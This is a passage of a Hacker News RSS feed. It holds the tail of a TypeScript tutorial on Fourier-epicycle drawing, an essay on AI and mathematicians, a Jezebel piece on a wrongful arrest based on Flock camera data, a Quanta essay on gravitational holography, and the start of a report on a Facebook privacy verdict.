i++) {&#xA;        let sum = M.complex(&#39;0&#39;);&#xA;        for (let n = 0; n &lt; N; n++) {&#xA;            const xn = cps[n];&#xA;            const theta = -(2 * M.pi * i * n) / N;&#xA;            const c = M.complex(`${M.cos(theta)}+${M.sin(theta)}i`);&#xA;            sum = M.add(sum, M.multiply(xn, c)) as M.Complex;&#xA;        }&#xA;        const { re, im } = M.multiply(1 / N, sum) as M.Complex;&#xA;        X.push({&#xA;            re,&#xA;            im,&#xA;            freq: i,&#xA;            radius: M.sqrt((re * re) + (im * im)),&#xA;            phase: M.atan2(im, re)&#xA;        });&#xA;    }&#xA;    return X;&#xA;}&#xA;``&#xA;&#xA;_\\(\\mathcal{O}(N^2)\\) DFT implementation in TypeScript._&#xA;&#xA;Now that we have the coefficients, we can parameterize the curve so we can plot it.&#xA;&#xA; `function parameterize(cn: M.Complex[]) {&#xA;    return async (t: number): Promise&lt;M.Complex&gt; =&gt;&#xA;        await sigma(k =&gt;&#xA;            M.multiply(M.complex(cn[k - 1].re, cn[k - 1].im),&#xA;                M.exp(M.multiply(M.i, (k - 1) * t))), [1, numSamples]) as M.Complex;&#xA;}&#xA;`&#xA;&#xA;So what we should see from this parameterization of our approximation of a llama is that as the number of sinusoids increases, it will more accurately represent a llama. We can see this in the following animation. Note that “modes” refers to the number of positive frequencies used, and we are also using the \\(0\\) frequency as well as the corresponding negative frequencies. Thus the number of circles is \\(\\text{\\# of modes}\\times 2\\).&#xA;&#xA;From this animation, we can see that most of the work is done in the lower frequencies since it very quickly becomes llama-like. As we add more and more of the higher frequencies, the smaller details of the llama start filling in and the approximation becomes slowly more crisp.&#xA;&#xA;In order to recreate the image at the beginning of the article, with the circles moving around in organized chaos drawing the outline of the llama, we need some code to go through and draw each frequency’s circle. To do that we need the radius and phase which we have included in the **DFTData** type in the first code block. To do the actual graphics representation, we’ll be using the p5.js library. Note that the code depends on variables defined in the above code blocks. I’ll also provide the full source at the end.&#xA;&#xA; `function draw() {&#xA;    for (let i = 0; i &lt; complex.length; i++) {&#xA;        const cn = complex[i];&#xA;        const prevx = x;&#xA;        const prevy = y;&#xA;        const { freq, radius, phase } = cn;&#xA;        x += radius * M.cos(freq * time + phase);&#xA;        y += radius * M.sin(freq * time + phase);&#xA;        stroke(230, 85);&#xA;        noFill();&#xA;        ellipse(prevx, prevy, radius * 2);&#xA;        stroke(230, 142);&#xA;        line(prevx, prevy, x, y);&#xA;    }&#xA;    points.push(createVector(x, y));&#xA;    stroke(230);&#xA;    noFill();&#xA;    beginShape();&#xA;    for (let i =0 ; i &lt; points.length; i++)&#xA;        vertex(points[i].x, points[i].y);&#xA;    endShape();&#xA;    if (time &gt; M.pi * 2)&#xA;        points.pop();&#xA;    time += ((2 * M.pi) / pts.length);&#xA;}&#xA;`&#xA;&#xA;Which will draw for us the very same animation shown at the beginning of the article.&#xA;&#xA;The complete source for the Fourier animations can be found here:</content>
    <link href="https://adekau.github.io/posts/2020/llamas.html" rel="alternate"></link>
    <author>
      <name>cebert</name>
    </author>
  </entry>
  <entry>
    <title>Show HN: Hacker Atlas - A map of what Hacker News talks about</title>
    <updated>2026-09-25T22:37:54+09:00</updated>
    <id>hn_49844497</id>
    <content type="html">Useful, confusing, or missing something? I’d love to hear.&#xA;&#xA;HN Atlas Browse topics Connections Help shape Hacker Atlas × Useful, confusing, or missing something? I’d love to hear. Your feedback Email (optional, for a reply) Website Your feedback is private. Your email is only used to reply, never to sign you up for a newsletter. Send feedback</content>
    <link href="https://hackeratlas.com/" rel="alternate"></link>
    <author>
      <name>andrearitossa</name>
    </author>
  </entry>
  <entry>
    <title>We&#39;re gonna need a lot more mathematicians</title>
    <updated>2026-09-26T11:46:54+09:00</updated>
    <id>hn_49852717</id>
    <content type="html">_\[This is a guest post by Amit Sahai. This blog post was initially written in a different file format and converted using AI. — T.\]_&#xA;&#xA;When I was an undergraduate student, I remember talking with several students who felt that the pace at which the top students could understand new math concepts was far too fast for them. They, too, could understand the ideas, but it would take them much longer. Eventually, almost all of these students gave up their dream of pursuing research mathematics and found something else to do. I have been thinking about those students a lot in the last few days.&#xA;&#xA;The research mathematics community consists largely of those of us who either rarely felt that way, or who felt it and managed to overcome it through hard work. We have had the good fortune to find a place in mathematics where we could make progress. But we are now entering a time for humility: a time when all of us are going to know what it feels like to be unable to keep up.&#xA;&#xA;The AI systems I have worked with are already producing beautiful new ideas. They are doing far more than impressive calculations or quickly carrying out arguments that a strong human researcher would already understand. And we probably can’t even imagine the wonderful ideas that future systems will be capable of producing.&#xA;&#xA;When we feel that we cannot keep up, will we take that as a reason to leave research mathematics, like the students I am remembering? As more of us experience this, there will undoubtedly be a temptation to draw the same conclusion as they did: If the machines can move so much faster than us, perhaps we should find something else to do.&#xA;&#xA;For our community to give up the work of understanding would be a profound abdication of our responsibility to humanity. Each of us is entitled to choose a different life. The responsibility I am talking about belongs to us collectively: to build a future in which humans can understand and contribute to the discoveries that will change our world. A future with meaningful human agency.&#xA;&#xA;Struggle is essential to understanding difficult concepts. Fortunately, this struggle can be shared. I have been blessed to experience this time and time again with my students and collaborators. Imagine a multitude of research groups, each with sustained support, each spending a term or a year trying to understand an extraordinary set of ideas produced by an AI system, with the help of AI systems. \[1\]&#xA;&#xA;This may very well be among the most important mathematical work in the years to come, and we should support and prioritize it accordingly. This enterprise will require a significant expansion in the number of mathematically sophisticated human researchers available world-wide, as major breakthrough ideas accumulate.&#xA;&#xA;Why should society want this? So far, this might sound like a utopian fantasy for us – a civilization focused on depth of human understanding, awash with mathematicians and physicists and the like. I would certainly love to live in such a world. And indeed there are deep philosophical reasons for society to move in this direction. But I think society has a much more immediate stake in making this possible, too.&#xA;&#xA;Imagine that a future AI system proposes a radically new design for a one terawatt nuclear fusion power plant. It has found a way to sustain and control fusion that no human had conceived of. The design promises abundant, inexpensive, clean electricity. Robots stand ready to manufacture the components and build the plant.&#xA;&#xA;A terawatt is an insane amount of electrical power. We would be deciding whether to construct a machine that handles extraordinary flows of energy using principles we have never conceived of, let alone put into practice. We would need to understand how failures can be contained, what happens to energy already stored in the system when it shuts down, how we can be sure that the materials that make up the power plant behave as expected, and what other questions we should ask before proceeding. The very novelty that makes the proposal exciting would mean that we cannot inherit confidence from decades of operating similar plants or experiments.&#xA;&#xA;Before approving construction, I would want communities of humans to understand why the design works and what justifies confidence in its safety. I would hope that we all would.&#xA;&#xA;Human involvement does not automatically improve a technical decision , and I see no reason to insist that humans manually repeat work an AI system might be able to perform more reliably, even including proving mathematical guarantees. But a theorem can only exist within a model. Understanding the guarantee means understanding the model, the experimental evidence for it, and our uncertainties about the accuracy of the model. This is demanding work, and mathematically sophisticated people must be available to engage with it.&#xA;&#xA;One might respond that AI systems should handle those questions too, and ultimately decide whether the plant should be built. That is a serious position. But it asks us to accept a future in which decisions of enormous consequence rest on reasons that no human community understands.&#xA;&#xA;I do not want us to arrive at that future simply because we failed to invest in our own capacity to understand. Human agency is a value of fundamental importance. We must retain the ability to meaningfully consider alternatives and decide what kind of world we want to be a part of building. I think it is worth the effort. \[2\]&#xA;&#xA;To take on this responsibility, we may need to broaden our view of what a mathematician can contribute. I have in mind something like a “deployable intellectual reserve”: communities of mathematically sophisticated people that humanity can call upon to help understand consequential AI-enabled breakthroughs.&#xA;&#xA;Our ability to understand difficult and unfamiliar ideas may become one of the most important contributions we can offer to society. We should be willing to bring that skill to problems far beyond our usual research interests. \[3\] Doing so asks us to expand our sense of our vocation.&#xA;&#xA;A counter-argument might be that AI systems will make each of us so much more effective that fewer people could do this work, even as the pace of discovery accelerates. But each of us is merely human. We have fundamental limitations based on our biology. Depth of understanding needs time and a pace of life that humans can sustain. Each individual human can only be asked to do so much, but through earnest cooperation we can accomplish much more.&#xA;&#xA;If AI fulfills its promise, we will encounter more beautiful and consequential ideas than we have ever seen. We must respond by building thriving human communities that can understand them together.&#xA;&#xA;We’re gonna need a lot more mathematicians.&#xA;&#xA;_The ideas and opinions presented here are entirely my own, but GPT 6 Astra was instrumental in helping me draft this note. I also thank my former student Dakshita Khurana, my current student Isaac Hair, my colleague Terence Tao, and my family members Anant Sahai and Gireeja Ranade for valuable feedback. Note that there is much more to be said here, but I tried to keep this relatively short to focus succinctly on my primary thoughts._&#xA;&#xA;**Notes**&#xA;&#xA;\[1\] By this, I do not mean to imply that only AI-created results will be of interest in the future. But for major results generated by humans, we already have a tradition of spending extended periods of time studying them.&#xA;&#xA;\[2\] And the relevant understanding cannot belong only to the organization proposing the technology. Imagine a public hearing at which the company’s experts are the only people capable of following the technical argument. Independent expertise is critical.&#xA;&#xA;\[3\] Indeed, AI systems are likely to be very helpful in allowing researchers with diverse backgrounds to talk effectively with one another, and more generally understand unfamiliar concepts.</content>
    <link href="https://terrytao.wordpress.com/2026/09/24/were-gonna-need-a-lot-more-mathematicians/" rel="alternate"></link>
    <author>
      <name>srcreigh</name>
    </author>
  </entry>
  <entry>
    <title>One Piece of Flock Camera Data Put This Innocent Woman in Jail for 13 Days</title>
    <updated>2026-09-26T09:59:02+09:00</updated>
    <id>hn_49852065</id>
    <content type="html"># One Piece of Flock Camera Data Put This Innocent Woman in Jail for 13 Days&#xA;&#xA;## Police didn&#39;t care that Lindsey Isaacs&#39; car was the wrong color, and wasn&#39;t damaged. They still arrested her because of Flock data.&#xA;&#xA;_Photo via Getty Images, Justin Sullivan_&#xA;&#xA;**Splinter Surveillance**&#xA;&#xA;In the months since Flock cameras have helped put an easily recognized and hated name to the broader threat of a deeply repressive technological surveillance state–Darth Vader activist performance art and all–I’ve been waiting for a story to come along that would truly crystalize the stakes involved here. Flock cameras, and the tech they now culturally represent, automated license plate readers (ALPRs), are increasingly hated in bipartisan fashion, but it hasn’t felt like there’s been that _one_ news story that could succinctly demonstrate for the average person exactly how dangerous the technology can be for personal liberty. Until now, that is.&#xA;&#xA;Because what else would you call the account of a woman who was arrested by incompetent police based on nothing more than a single Flock camera piece of data, and held in jail for 13 days (partially in solitary confinement) until they realized it was definitely the wrong person? You couldn’t ask for a more egregious demonstration of how this technology is being abused by police who need no additional help in trampling over American civil liberties.&#xA;&#xA;The woman in question is named Lindsey Isaacs. She’s a 23-year-old resident of Palm Beach, Florida. One morning in October of 2025, she woke up at 2 a.m. to find that state troopers were outside her apartment, and a tow truck was currently in the process of confiscating her car, a black Dodge Durango. The police had reportedly used images and data captured by a Flock ALPR camera to connect Isaacs and her car to a deadly car accident that had happened one day earlier, which had resulted in the loss of three lives. According to witnesses at the scene, the deadly collision had been perpetrated by a Dodge Durango. The Flock camera, meanwhile, had recorded Isaacs’ car and its license plate several miles away from the site of the accident, sometime around the time of the incident.&#xA;&#xA;“They said, ‘We have your plate on a Flock camera, and your car has damage consistent with a collision,&#39;” said Isaacs this week, now testifying before Congress. “And I said, ‘Where’s the damage? You’ve got the wrong person.&#39;”&#xA;&#xA;&gt; Lindsey Isaacs was wrongly held in solitary confinement for 3 days after Flock cameras falsely flagged her car.&#xA;&gt;&#xA;&gt; — NowThis Impact (@nowthisimpact.bsky.social) 1:00 PM · Sep 24, 2026&#xA;&#xA;Isaacs was right. It should have taken only a cursory examination of her car to see that _hey_, this vehicle really didn’t look like one that had been part of an accident 24 hours earlier that killed three people! And oh, wait, do we think it’s relevant that the eyewitnesses were saying that it had been a _maroon_ Durango that had been involved in the incident, and Isaacs’ car was instead black? Nevertheless, her car was instead entered as evidence into a case and impounded, and Florida Highway Patrol issued a warrant for her arrest on April 17, 2026, some SEVEN MONTHS LATER. This, despite the fact that there appears to have been zero physical evidence actually linking Isaacs to the scene of the crime besides a Flock camera sighting indicating she had been nearby that day, and this despite the fact that her car _was not actually damaged_, something that police had seven months to investigate and ascertain. She would spent the next two weeks in a maximum security jail housing, including 86 consecutive hours that she spent in solitary confinement. She told the U.S. Senate in her testimony, meanwhile, that correctional officers told her she was being put in solitary because of “the severity of the charges.” You know, to the crime she did not commit.&#xA;&#xA;“I was terrified,” Isaacs understandably said to U.S. legislators this week. “I was facing the possibility of spending the rest of my life in prison for a crash that I knew I had not been involved in. I did not know if I would ever get out of jail. At my lowest point, I didn’t want to be alive.”&#xA;&#xA;Yeah! I can understand a person feeling completely hopeless and utterly abandoned by not only an uncaring but actively misanthropic justice system after being arrested and charged with eight felonies, including three counts of vehicular homicide, when you know that you had nothing to do with it! I can understand the utter rage that Isaacs must have been feeling during each day she sat behind bars, wondering aloud why the Florida Highway Patrol wasn’t doing the BARE MINIMUM of investigation of its own into this case, such as noticing that the so-called murder weapon of her vehicle had not actually been involved in a crash. What is an average citizen supposed to do when facing a criminal justice apparatus that simply doesn’t give a shit, and one that is so eager to rely on AI-assisted tools like Flock cameras and ALPRs that they’ll arrest and jail a person before they even bother to check the most basic facts of their case?&#xA;&#xA;According to reporting from _The Center Square_, after the two weeks she spent in jail, Isaacs only managed to be released “when her attorney was able to present photos to the judge of her possessed vehicle–which, contrary to the claims of the troopers who possessed it, showed no damage.” After that, she was finally granted bond and released from jail, and in May 2026 the state of Florida dropped all charges against Lindsey Isaacs. Around the same time, police arrested another woman on suspicion of the same fatal collision. Just how confident do you think they feel about _this_ perp?&#xA;&#xA;&gt; Lindsey Isaacs, 23, testified about being thrown into solitary confinement for more than 3 days after a Flock license-plate camera wrongly tied her Dodge Durango to a deadly I-4 crash. She said she was terrified she would spend the rest of her life in prison for a wreck she knew she hadn’t caused.&#xA;&#xA;Regardless, the true takeaway of Isaacs’ experience is that ALPR technology, whether it’s from Flock or any of the other competitors in this space providing the same functionality (Axon, etc), is dangerous not only because it is so easily abused by police (or even by hackers) to invade the privacy and liberty of citizens, but _also_ because it enables a lazy police department to outsource basic critical thinking to machines and then take action based on a single data point to ruin a person’s life. Imagine waking up in the dead of night to find police officers at your door, claiming that you’d killed three people, with no evidence beyond the fact that your car was seen by a Flock camera. Imagine losing your job following the arrest, and the effect on your professional livelihood and social existence. What kind of monetary figure is the right compensation for being jailed for two weeks, put in solitary confinement and wanting to die? We’ll likely find out as a result of Lindsey Isaacs’ pending civil lawsuit against Florida Highway Patrol troopers.&#xA;&#xA;But as for Isaacs in the meantime, she appeared before Congress this week in the hope of communicating how the surveillance state allows this kind of truly random injustice to befall ANY OF US, at any time.&#xA;&#xA;“I came here today because I want you to understand that surveillance technology does not exist in a vacuum,” Isaacs said. “Information collected by technology can become part of an investigation that affects a real human being. In my case, a Flock camera captured my vehicle a few miles from the scene of a terrible crash. That piece of information became part of an investigation that ultimately led to my arrest on three counts of vehicular homicide and 13 days in jail for a crash I had nothing to do with.”&#xA;&#xA;When police show up at your door, what will you do any differently?&#xA;&#xA;_Like what you just read? You’ve got great taste. Subscribe to Jezebel, and for $5 a month or $50 a year, you’ll get access to a bunch of subscriber benefits, including getting to read the next article (and all the ones after that) ad-free. Plus, you’ll be supporting independent journalism—which, can you even imagine not supporting independent journalism in times like these? Yikes. Click here to subscribe._</content>
    <link href="https://www.jezebel.com/flock-cameras-data-innocent-woman-arrested-lindsey-isaacs-palm-beach-florida-lawsuit-vehicular-homicide" rel="alternate"></link>
    <author>
      <name>HotGarbage</name>
    </author>
  </entry>
  <entry>
    <title>Gravity seems holographic. What does that mean for reality?</title>
    <updated>2026-09-26T00:31:02+09:00</updated>
    <id>hn_49845998</id>
    <content type="html"># Gravity Seems Holographic. What Does That Mean for Reality?&#xA;&#xA;## Introduction&#xA;&#xA;In my first months as a physics journalist nearly a decade ago, I kept running into an inscrutable string of characters: AdS/CFT. Thoroughly intimidated, I decided to just ignore it.&#xA;&#xA;But I couldn’t keep my head in the sand for long. I soon learned that those characters are shorthand for a surprising connection between the seemingly inharmonious worlds of gravity and quantum mechanics. And even more bizarrely, this “anti-de Sitter/conformal field theory” correspondence suggests that gravity eliminates the distinction between volume and area. This broader idea is known as the holographic principle, and it now strikes me as the most profound proposal in theoretical physics in the last 30 years.&#xA;&#xA;Theoretical physicists tend to vote with their feet, and AdS/CFT sparked a stampede. The three foundational papers on the topic in the late 1990s have garnered tens of thousands of citations, making them by far the most highly cited theoretical physics works of the digital era. In my interviews with physicists who study holography, they often seem genuinely stunned, and reach for words like “magical” and “miraculous” to describe it. And it doesn’t hurt that holography led to a widely accepted answer to the most famous puzzle in physics: Contrary to what Stephen Hawking argued, black holes are not inescapable prisons.&#xA;&#xA;But even after covering numerous developments in holography and having countless conversations with the physicists involved, I still felt confused. I had heard that holography suggested that gravity and quantum mechanics are one and the same, and that space might be an illusion. I had also heard holography described both as a mathematical fact and as a speculative flight of fancy. So I tried to triangulate these wild ideas and figure out what, exactly, the holographic principle implies about our universe.&#xA;&#xA;## **The Evidence**&#xA;&#xA;Put a box around any region of space (space-time, really, but I’m going to drop time throughout this essay for ease of visualization, as physicists often do). The holographic principle asserts that no matter what’s going on inside — from gas molecules pinging around to black holes colliding — you can decipher the entire contents of the box just by repeatedly measuring points on the surface.&#xA;&#xA;Pause for a moment to reflect on how outrageous this assertion is. You can’t see into the box at all. Nevertheless, holography says that you can learn exactly what’s happening _everywhere_ in the box without any access to the interior. Observing the surface alone is enough. In this sense, the amount of stuff that fills a box is the same as the amount of paint that covers it. That’s a violation of logic and geometry. It asks us to erase the categorical difference between square meters and cubic meters. It recalls how holographic images appear to have depth despite being flat, except the bird in the hologram is the same as an actual bird.&#xA;&#xA;Bartek Czech, a theorist at Tsinghua University in China, highlights the power of the principle by comparing it to a CT scan of the brain, which uses X-rays to look inside the organ and reconstruct it from hundreds to thousands of cross-sectional images. Holography implies that you can do that — reconstruct every fold, vessel, and neuron in three dimensions — without actually looking inside. Simply photographing the surface of the brain somehow suffices.&#xA;&#xA;Why would anyone entertain such a far-fetched notion? It’s rooted in thought experiments and math, and it appears to trace back to one force: “a miracle of gravity,” Czech said.&#xA;&#xA;Scientists have known for more than a century that gravity is different from the other forces. Imagine a box filled with electric charges, representing one of the other fundamental forces, electromagnetism. The stuff in the box consists of the charges and the electric field they create, which also passes through the outer surface. You will have a problem if you try to infer what arrangement of charges generates the field by looking at the surface alone. Because positive charges neutralize negative charges, different arrangements can look the same. If you observe no field, it could mean there’s no charge inside — or it could mean that the effects of the positive charges are perfectly blocking the effects of the negative charges. From the surface, you can’t tell the difference.&#xA;&#xA;With gravity, mass plays the role of charge. It bends space-time around it, and it is always positive. There is no negative mass, so you can always infer the one real arrangement of stuff inside from the warping of space-time at the surface of your box. “Intuitively, this is why holography is plausible,” said Laurent Freidel, a physicist studying quantum gravity at the Perimeter Institute for Theoretical Physics in Waterloo, Canada.&#xA;&#xA;But holography really starts to bite only after you take the intricate details of quantum mechanics into account. The first clues came in the 1970s, when Jacob Bekenstein and Stephen Hawking calculated the entropy of black holes — typically a measure of how much stuff fits inside an object. They used quantum theory to predict how a black hole would grow as it swallowed particles. Perplexingly, as they imagined adding particles to the black hole, they found that the entropy grew in lock step with the surface area — not the volume, as you would expect.&#xA;&#xA;Leonard Susskind, a physicist at Stanford University, built on their result in the 1990s and proposed that the black hole was literally a hologram, that everything happening inside can be observed from the outside. In some sense, the interior was superfluous. “I thought it was a little bit crazy,” Susskind said, “but I thought it was the least crazy of all the possibilities.” (Gerard ’t Hooft, a Nobel laureate, and Charles Thorn, a physicist at the University of Florida in Gainesville, came to similar conclusions around the same time.)&#xA;&#xA;I’ve always found this black hole entropy argument compelling, because any patch of space can become a black hole if you put enough mass into it. Despite their reputation for weirdness, black holes are representative examples of space. They just have a way of bringing space’s stranger properties to the fore. So if a black hole is holographic, and any region of space can become a black hole, then, the argument goes, even the room you’re sitting in should be holographic. “It’s completely general,” Susskind said.&#xA;&#xA;This argument has a rock-solid universality, but I’ve also heard physicists describe holography as a speculative idea with an uncertain connection to reality. So I called up Latham Boyle, a physicist at the Higgs Center for Theoretical Physics at the University of Edinburgh, hoping for an alternative view. He did not disappoint.&#xA;&#xA;Boyle doesn’t dispute Bekenstein and Hawking’s black hole findings, but he does question the holographic interpretation. He suspects that the act of putting a surface around a region of space — as happens when a black hole forms — creates two distinct types of entropy. One entropy tells you how many particles can fit inside — and that really does depend on the volume. The existence of the surface gives you a second, “entanglement” entropy. Particles inside share a quantum connection, known as entanglement, with those outside; the bigger the surface, the more entanglement crosses it. The entanglement entropy depends on the area, not the volume. They’re not, Boyle posits, the same thing.&#xA;&#xA;“That seems like a less mystical, more down-to-earth interpretation of what’s going on,” he said.&#xA;&#xA;But it helps holography that there is a second, more conceptually airtight finding behind it: AdS/CFT.&#xA;&#xA;AdS/CFT asks us to imagine a universe that is not like our own, one that curves in such a way that its infinite expanse of space can be pictured as fitting inside a finite snow globe. That might sound like a big ask, but it’s one that mathematicians — and mathematically minded artists such as M.C. Escher — are perfectly comfortable with. This geometry is known as anti-de Sitter (AdS) space.&#xA;&#xA;Other than its peculiar curvature, the interior of the anti-de Sitter snow globe is a lot like our universe, filled with electrons and atoms. More importantly, it also ripples in response to that matter, providing the effect of gravity. The snow globe’s surface, meanwhile, is a universe of its own. It’s also populated with quantum particles, but it’s rigid, so it can’t react to the particles: no gravity. This surface world is ruled exclusively by a type of quantum theory known as a conformal field theory (CFT), where the rules of physics don’t change as you zoom in or out.&#xA;&#xA;The blockbuster trilogy of papers in the late 1990s showed that, mathematically, these two theoretical worlds (the AdS interior and the CFT surface) are _the same_. This is the AdS/CFT correspondence. As with the black hole entropy argument, the volume and surface are equivalent. But unlike the black hole argument, AdS/CFT is essentially a mathematical fact about gravity and quantum mechanics with no alternative interpretation. Even skeptics find this genuinely surprising. “I don’t know of any mundane way to explain it,” Boyle said.&#xA;&#xA;The undeniable message of AdS/CFT is that, at least in this special snow globe, the rules of gravity and the rules of quantum mechanics are secretly describing the same game — despite the storied antagonism between the two theories. “Far from being opposed, they’re actually intertwined,” said Brian Swingle, a physicist at Brandeis University. “One emerges from the other.”&#xA;&#xA;The correspondence came as a shock. I think of it as akin to discovering a way of converting any checkers move into a valid chess move: Why on Earth would that work? When I ran that picture by Sebastian Mizera, a physicist at Columbia University who studies the mathematical structure of quantum theories, he told me it wasn’t dramatic enough. “That’s a good analogy,” he said, except “it’s more like checkers and basketball.”&#xA;&#xA;But does the holographic nature of the snow globe tell us anything about our reality? On this point, physicists disagree. Skeptics emphasize that our universe is the opposite of a snow globe. The accelerating expansion of the cosmos implies that we live in a space that curves outward, in the opposite direction — a de Sitter space. Because our space does not curve back in on itself, it has no boundary surface where you can project the hologram. So there’s little reason to think that AdS/CFT has anything to do with the real world.&#xA;&#xA;The most dedicated holographers, however, take a ground-level perspective. An ant living deep inside the snow globe can’t easily detect any curvature, and therefore can’t tell the difference between anti-de Sitter and de Sitter space. So perhaps what’s true of one space, they argue, should more or less hold for the other. (And in case you were wondering, we’re the ants.)&#xA;&#xA;While both arguments have merit, I lean toward the holographers. Black holes provide intriguing but circumstantial evidence that all types of space are holographic. And the AdS/CFT correspondence essentially guarantees that anti-de Sitter space — which happens to be the space physicists understand best — is holographic. What are the odds that our universe works in a totally different way? It absolutely could, but I wouldn’t bet on it. I take seriously the possibility that gravity makes every kind of space, including ours, holographic.&#xA;&#xA;And so what would it mean for us to live in a hologram?&#xA;&#xA;## **The Meaning(s)**&#xA;&#xA;I found that most physicists are hesitant to speculate about the connection between the holographic nature of space and “ontology” — the capital-T truth about what’s real.&#xA;&#xA;“I don’t try to answer that question,” Susskind said. “That’s beyond my pay grade.”&#xA;&#xA;This strikes me as a prudent response, one that stays true to the ultimate goal of physics, which is not, as I am often tempted to think, to explain what is real. Rather, physicists seek to identify a few simple concepts, expressed in mathematical relationships, that make reliable predictions in many different situations. Gravity is a powerful concept because it holds for falling apples, sloshing tides, and orbiting planets. Holography is another step in that tradition, an equivalence between area and volume that holds at least for certain spaces.&#xA;&#xA;“Physicists build models,” Czech said. And it’s exciting that holographic models are even possible to build.&#xA;&#xA;But I craved something more intuitive, less prudent. I wanted to know what holography would mean for us if we lived in anti-de Sitter space (which we don’t), or if physicists developed a holographic theory of de Sitter space (which they haven’t). When I framed the question in that way, Vijay Balasubramanian, a physicist who studies holography at the University of Pennsylvania, gamely laid out a short menu of possibilities.&#xA;&#xA;If our universe ultimately has just one nature (as opposed to multiple equivalent natures, which Balasubramanian said is possible), then there are three options: The quantum surface is the real thing, the gravitational volume is the real thing, or something else is the real thing.&#xA;&#xA;The first interpretation — the surface is real — is the most popular among physicists who spend their time studying AdS/CFT. They suspect that the space we experience is as illusory as water. If you look closely enough at the smooth, clear liquid, it resolves into ricocheting molecules — the “real thing.” Similarly, if you were to look at our universe closely enough, you’d find that it’s emptier than it seems. In this scenario, we would resemble characters in a video game. The apparently bulky buildings and trees of the 3D game world around us would actually be pixels flickering on a flat screen.&#xA;&#xA;“We are fooled into thinking that there is more stuff in the universe than there actually is,” said Charles Cao, a theorist at Virginia Tech. You can “compress all of the three-dimensional world into two dimensions.”&#xA;&#xA;This perspective abounds in the research program called “it from qubit,” which posits that the space around us (“it”) is made up of quantum units of information (qubits). These qubits would make up the true fabric of our reality in the same way that screen pixels make up the physical reality of the video game characters.&#xA;&#xA;The profound implication of this interpretation is that it flips the normal relationship between distance and influence, said Ning Bao, who studies holography at Northeastern University. We typically imagine that two things don’t influence each other because space separates them: Flares from alien stars are far away, and that’s why they don’t knock out power on Earth. But it from qubit suggests we have it backward. Perhaps space seems to separate two things precisely because they don’t influence each other. Consider a video game sun passing behind a video game tree. The sun pixels touch the tree pixels directly, yet the tree does not burst into flames. This is because the sun pixels are independent of the tree pixels. Their independence is what makes the sun “far” from the tree.&#xA;&#xA;The correspondence goes both ways, however. The holographic principle puts the two pictures of the world on equal footing. So why can’t the gravitational volume be the real thing? Holographers shy away from this interpretation because they don’t have a full quantum handle on space — even anti-de Sitter space. But that’s just our ignorance, Balasubramanian said. Some direct quantum theory of space and matter, such as string theory, must exist, and that could be the fundamental description.&#xA;&#xA;If that were the case, the 3D video game world would be the real one, and it would merely seem as if it were made of 2D pixels. Holography would be a mathematical coincidence. In this scenario, “the reality is you’ve got all \[three\] of these dimensions. It just so happens that they have some \[holographic\] description,” Balasubramanian said.&#xA;&#xA;And then there’s door number three, the nuclear option: Neither the interior volume nor the surface area is real. Both gravity and quantum mechanics are rough drafts of a sharper, truer, completely unknown theory. At the risk of stretching the video game analogy, you could argue that neither the video game world nor the screen pixels are “real,” and that both are just reflections of the complicated ways that electrons physically flow through the game console and television. In this case, holography tells you how the pixels of the screen relate to the objects of the game world, but it has nothing to do with the nature of the electrons. “The actual theory is something else,” Balasubramanian said.&#xA;&#xA;At this point, I subscribe to a more extreme variation of the it from qubit interpretation — mostly just following the rumble of the stampede. I’d bet that the qubits are the real things, but that they don’t live on anything as familiar as a flat screen.&#xA;&#xA;Physicists have tried to stretch the AdS/CFT correspondence to fit de Sitter space — which has no obvious screen — for decades, with limited success. In recent years, they’ve started to get more creative. Susskind and other teams have made progress on holographic de Sitter models that differ radically from AdS/CFT. Instead of squashing a volume into an area, these universes seem to cram all the dimensions into a lone quantum point. I imagine a bunch of quantum pixels all coexisting in one spot, rather than spreading across a screen. That might be hard to visualize, but we’re already accepting the idea of dropping one dimension of space. Why should tossing the others be so different?&#xA;&#xA;Balasubramanian suspects that even this kind of radical model doesn’t go far enough. Einstein’s theory fused space with time, and so if the three dimensions of space emerge from a spaceless point, then time should emerge from something timeless. Somehow, we and everything we experience exist within an unblinking dot of no size. Physicists are nowhere close to constructing a functional theory of this form, much less finding hard evidence that our universe works this way. But to paraphrase Niels Bohr, during an earlier era when physicists were seeking the next big thing, this sort of theory strikes me as just radical enough — and just simple enough — to be right.</content>
    <link href="https://www.quantamagazine.org/gravity-seems-holographic-what-does-that-mean-for-reality-20260925/" rel="alternate"></link>
    <author>
      <name>ibobev</name>
    </author>
  </entry>
  <entry>
    <title>Jury finds Facebook liable for deceiving users in Cambridge Analytica case</title>
    <updated>2026-09-26T10:36:50+09:00</updated>
    <id>hn_49852302</id>
    <content type="html"># Jury finds Facebook liable for deceiving users in Cambridge Analytica case&#xA;&#xA;A New Mexico jury on Friday found Facebook liable for deceiving users about privacy protections on the social media platform.&#xA;&#xA;It is now up to the judge to determine how much the company would pay, with attorneys representing the state asking for the maximum $5,000 penalty per violation.&#xA;&#xA;The two-week trial in Santa Fe centered on accusations that Facebook deceived users about a data breach stemming from a third-party personality quiz that harvested data from roughly 87 million profiles and sold it to a political consulting firm, Cambridge Analytica, to generate targeted ads. The now-defunct firm&#39;s clients included the 2016 campaign for President Trump.&#xA;&#xA;Jurors sided with prosecutors, finding Facebook&#39;s failure to protect users&#39; data impacted New Mexico&#39;s entire population of more than 2 million people.&#xA;&#xA;&#34;For years, Facebook operated as if the rules that apply to everyone else didn&#39;t apply to them. Today, a jury of New Mexicans said otherwise,&#34; New Mexico Attorney General Raúl Torrez said in a statement. &#34;This is a historic verdict, not just for New Mexico, but for every state fighting to hold Big Tech accountable.&#34;&#xA;&#xA;Jurors also found Facebook misled the public about investigations into data brokers following the Cambridge Analytica scandal, finding the company liable for over 2 million violations.&#xA;&#xA;During closing arguments, lawyers for Facebook claimed the state&#39;s evidence was outdated and that despite having five years to gather material, New Mexico failed to find more than one other instance of a data breach.&#xA;&#xA;A Meta spokesperson told CBS News the company disagreed with the jury&#39;s verdict and will continue to defend &#34;against efforts to distort our records.&#34; The company also noted that free speech issues &#34;featured very prominently&#34; in the case.&#xA;&#xA;&#34;We have a First Amendment right to manage those platforms in a way we believe best serves the interests of our community,&#34; the spokesperson said. &#34;This means prioritizing free speech, protecting our users&#39; information and giving them control over their data.&#34;&#xA;&#xA;Meta agreed in August to pay up to $18 billion to settle the multistate lawsuit surrounding child safety issues. Buried in the 130-page settlement was an agreement to release Meta from future liability related to the Cambridge Analytica privacy breach, making New Mexico the only state to pursue a case. Florida was the only other state that did not sign the settlement, saying it was not tough enough on Meta.&#xA;&#xA;Also this year, New Mexico won judgments totaling $942 million from Meta in a two-phase trial about the 